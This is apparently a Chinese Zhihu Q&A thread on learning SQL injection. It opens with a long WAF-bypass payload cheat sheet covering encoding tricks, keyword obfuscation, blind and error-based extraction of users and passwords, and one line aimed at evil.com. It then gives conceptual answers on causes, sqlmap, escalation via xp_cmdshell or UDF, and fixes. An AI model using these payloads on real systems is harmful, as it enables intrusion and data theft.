sql注入到底要學什麼?
之前在網上看過一些課程,關於sql注入,都是在URL後面加上and 1=1或在sqlmap裏用-u檢測,而看到別的大佬玩sqlmap的時候卻不止這種方法,請問sql注入只有這兩種檢查方法嗎?
手工注入的話,多看筆記,多找案例!
SQL注入速查表這是基礎首先需要了解的
過濾and or
or ——&> ||
and ——&>
xor——&>|
not——&>!
十六進位繞過
or ——&> ox72
大小寫繞過
Or
aNd
雙寫繞過
oorr
anandd
urlencode,ascii(char),hex,unicode編碼繞過
一些unicode編碼舉例:
單引號:
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
關鍵字內聯注釋嘗試繞所有
/*!or*/
/*!and*/
左括弧過濾
urlencode,ascii(char),hex,unicode編碼繞過
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括弧過濾
urlencode,ascii(char),hex,unicode編碼繞過
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
過濾unionselect
邏輯繞過
例:
過濾代碼 union select user,password from users
繞過方式 1 (select user from users where userid=1)=admin
十六進位字元繞過
select ——&> selecx74
union——&>uniox6e
大小寫繞過
SelEct
雙寫繞過
selselectect
uniunionon
urlencode,ascii(char),hex,unicode編碼繞過
關鍵字內聯繞所有
/*!union*/
/*!select*/
過濾空格
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
繞過空格注釋符繞過//--%20/**/#--+-- -;%00;
空白字元繞過SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符號繞過
` + !
等科學計數法繞過
例:
select user,password from users where user_id0e1union select 1,2
unicode編碼
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
過濾=
?id=1 or 1 like 1#可以繞過對 = &> 等過濾
or 1 IN (1234)#可以替代=
過濾比較符&
select*fromuserswhereid=1and ascii(substr(database(),0,1))&>64
select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64
過濾where
邏輯繞過
過濾代碼 1 (select user from users where user_id = 1) = admin
繞過方式 1 (select user from users limit 1) = admin
過濾limit
邏輯繞過
過濾代碼 1 (select user from users limit 1) = admin
繞過方式 1 (select user from users group by user_id having user_id = 1) = admin#user_id聚合中user_id為1的user為admin
過濾group by
邏輯繞過
過濾代碼 1 (select user from users group by user_id having user_id = 1) = admin
繞過方式 1 (select substr(group_concat(user_id),1,1) user from users ) = 1
過濾select
邏輯繞過
過濾代碼 1 (select substr(group_concat(user_id),1,1) user from users ) = 1
繞過方式 1 substr(user,1,1) = a
過濾』(單引號)
邏輯繞過
waf = and|or|union|where|limit|group by|select|
過濾代碼 1 substr(user,1,1) = a
繞過方式 1 user_id is not null1 substr(user,1,1) = 0x611 substr(user,1,1) = unhex(61)
寬位元組繞過
%bf%27 %df%27 %aa%27
過濾逗號
在使用盲注的時候,需要使用到substr(),mid(),limit。這些子句方法都需要使用到逗號。對於substr()和mid()這兩個方法可以使用from to的方式來解決:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);
對於limit可以使用offset來繞過:
select*fromnews limit0,1# 等價於下面這條SQL語句select*fromnews limit1offset0
過濾hex
邏輯繞過
過濾代碼 1 substr(user,1,1) = unhex(61)
繞過方式 1 substr(user,1,1) = lower(conv(11,10,16)) #十進位的11轉化為十六進位,並小寫。
過濾substr
邏輯繞過
過濾代碼 1 substr(user,1,1) = lower(conv(11,10,16))
繞過方式 1 lpad(user(),1,1) in r
編碼繞過
利用urlencode,ascii(char),hex,unicode等編碼繞過
or 1=1即%6f%72%20%31%3d%31,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六進位編碼
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
雙重編碼繞過
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
等價函數或變數
hex()、bin() ==&> ascii()
sleep() ==&>benchmark()
concat_ws()==&>group_concat()
mid()、substr() ==&> substring()
@@user ==&> user()
@@datadir ==&> datadir()
舉例:substring()和substr()無法使用時:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74
或者:
substr((select password),1,1) = 0x70
strcmp(left(password,1), 0x69) = 1
strcmp(left(password,1), 0x70) = 0
strcmp(left(password,1), 0x71) = -1
生僻函數
MySQL/PostgreSQL支持XML函數:Select UpdateXML(『& 』,』/script/@x/』,』src=//evil.com』);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,alx65rt(1)as 117nx65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
N繞過
N相當於NULL字元
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=Nunion select 1,2,3,4,5,6,7,8,9,0
PCRE繞過
PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select
上面的還不行?嘗試修改語句邏輯再繞過試試?
發佈於 2020-12-18繼續瀏覽內容知乎發現更大的世界打開Chrome繼續楊瑞i春秋講師,獨立音樂人,Web安全看這個問題應該是個新手,現在的環境不比以前,現在的容易找到sql注入漏洞很少了。
所以,我覺得現在學sql注入,只能往大了看,學思想,學黑客思維。
其實注入類漏洞大多數都是是個數據代碼分離的問題。
我舉個形象的例子吧。
----------------------------------------------------------------
例子的演員:
A 輸入值
B 業務程序
C 資料庫
關於演員:
A 是一個可以任何用戶可控輸入值,無論用戶輸入什麼都會被原樣傳輸到後端伺服器。
B 是這個例子中存在漏洞的程序。
C 是一個能接收SQL指令處理數據的資料庫。
我們理清楚這個之後就來走一遍正常流程(即按照程序猿的設想):
1.用戶通過點擊前端瀏覽器上的一個鏈接,對伺服器發起了一個GET請求,帶著一個前端程序員寫好的值A。
2.經過長長的網線,A被帶到了B進行處理,B直接將A與查詢數據的SQL語句拼接在了一起。
(例如,A值為1,SQL語句是「查詢id為A的產品資料」,所以這時候的SQL語句是「查詢id為1的產品資料」)
3.B把這個SQL語句拿給了C,讓C去執行。C盡忠職守,很快變查詢出了結果,然後吧結果給了B,B在將結果傳回了前端用戶瀏覽器。
接下來,我們就來看一遍攻擊流程:
1.某技術人員,發現了完全可控的值A,嘗試對其進行測試,於是將A值改為「1的id。」。
(我們假設C執行SQL語句是遇到句號即停止往後執行)
2.然後B接收到了A,把它和SQL語句拼在一起,於是變成了「查詢id為1的id。的產品資料」。
3.然後B將這個被動了手腳的SQL語句交給了C,然而C依舊盡忠職守執行了這個SQL語句,於是。它返回了1,B再把這個1返回了用戶的瀏覽器,於是某技術人員就知道這裡存在SQL注入漏洞了。
OK,剩下的該你自己思考了。
看這個問題應該是個新手,現在的環境不比以前,現在的容易找到sql注入漏洞很少了。
所以,我覺得現在學sql注入,只能往大了看,學思想,學黑客思維。
其實注入類漏洞大多數都是是個數據代碼分離的問題。
我舉個形象的例子吧。
----------------------------------------------------------------
例子的演員:
A 輸入值
B 業務程序
C 資料庫
關於演員:
A 是一個可以任何用戶可控輸入值,無論用戶輸入什麼都會被原樣傳輸到後端伺服器。
B 是這個例子中存在漏洞的程序。
C 是一個能接收SQL指令處理數據的資料庫。
我們理清楚這個之後就來走一遍正常流程(即按照程序猿的設想):
1.用戶通過點擊前端瀏覽器上的一個鏈接,對伺服器發起了一個GET請求,帶著一個前端程序員寫好的值A。
2.經過長長的網線,A被帶到了B進行處理,B直接將A與查詢數據的SQL語句拼接在了一起。
(例如,A值為1,SQL語句是「查詢id為A的產品資料」,所以這時候的SQL語句是「查詢id為1的產品資料」)
3.B把這個SQL語句拿給了C,讓C去執行。C盡忠職守,很快變查詢出了結果,然後吧結果給了B,B在將結果傳回了前端用戶瀏覽器。
接下來,我們就來看一遍攻擊流程:
1.某技術人員,發現了完全可控的值A,嘗試對其進行測試,於是將A值改為「1的id。」。
(我們假設C執行SQL語句是遇到句號即停止往後執行)
2.然後B接收到了A,把它和SQL語句拼在一起,於是變成了「查詢id為1的id。的產品資料」。
3.然後B將這個被動了手腳的SQL語句交給了C,然而C依舊盡忠職守執行了這個SQL語句,於是。它返回了1,B再把這個1返回了用戶的瀏覽器,於是某技術人員就知道這裡存在SQL注入漏洞了。
OK,剩下的該你自己思考了。
首先理解原理,資料庫sql語句把不可信的用戶輸入數據直接拼接導致的。
那肯定得會資料庫,會腳本語言。
技術的話,你看sqlmap technique參數,布爾盲注,時間盲注,報錯注入,堆疊查詢,響應盲注。BTUES這些
我一直覺得學一個漏洞,要明白幾個東西:
成因 or 原理
這個漏洞的的成因是什麼,什麼情況才會出現?不懂原理,就永遠只會拿著那幾個 payload 去試,一旦環境稍稍有點變動,可能你就不會了
就比如 SQL 注入,就是將未過濾或者過濾不完全的輸入拼接到 SQL 語句中,但是 拼接的地方是在哪裡?where語句中、order by語句中、limit語句中?不同的點上利用的方式也是不一樣的,在 PHP java 環境下有什麼不同,什麼情況下支持堆疊查詢,各種問題只有明白了原理纔能夠去回答
如何發現
正如題主所說的,除了加入 and 1=1 還有其他檢測的辦法嗎,很明顯 在有 WAF 的情況下,時間盲注的情況下,怎麼高效的進行漏洞的發現,也是一個問題
繞過
針對各種情況的 WAF 或者代碼中的一些敏感詞的檢測,怎麼去繞過它?比如 and 1=1 用不了可以用什麼來代替,比如 or 行不行,利用一些邏輯運算符 與或非 等行不行,等等等等
利用
發現了一個漏洞之後,怎麼去深入的利用,儘可能的利用這個漏洞,造成更大的影響,如 Mysql 的 UDF、MOF 提權,SQL Server 的 xp_cmdshell 等的這些
(當然這個也要注意情景,在日常挖洞的情況下,更多的是證明漏洞的存在,並不提倡你去進一步利用,畢竟可能會對業務造成一定的影響,但是個人認為在學習的過程中還是要會的)
如何修復
挖洞的目的是為了修復,知道了怎麼挖,想想如果業務方要你提供修復建議,你要怎麼給出
還有這裡你提到了 sqlmap,就說說 sqlmap
sqlmap 常見的幾個參數是什麼,怎麼檢測 POST 參數、怎麼帶 Cookie,不同 level、risk 間有什麼區別,怎麼制定注入方法資料庫類型,各種特殊注入情況下的前綴後綴的要求,tamper 怎麼寫,然後就是各種疑難雜症,比如注入點明明存在 sqlmap 跑不出來什麼回事,也還是有很多問題的
但網上搜不到了你就會想去看 sqlmap 的源碼,那就又是一個新的世界了,加油吧少年hhh
推薦閱讀: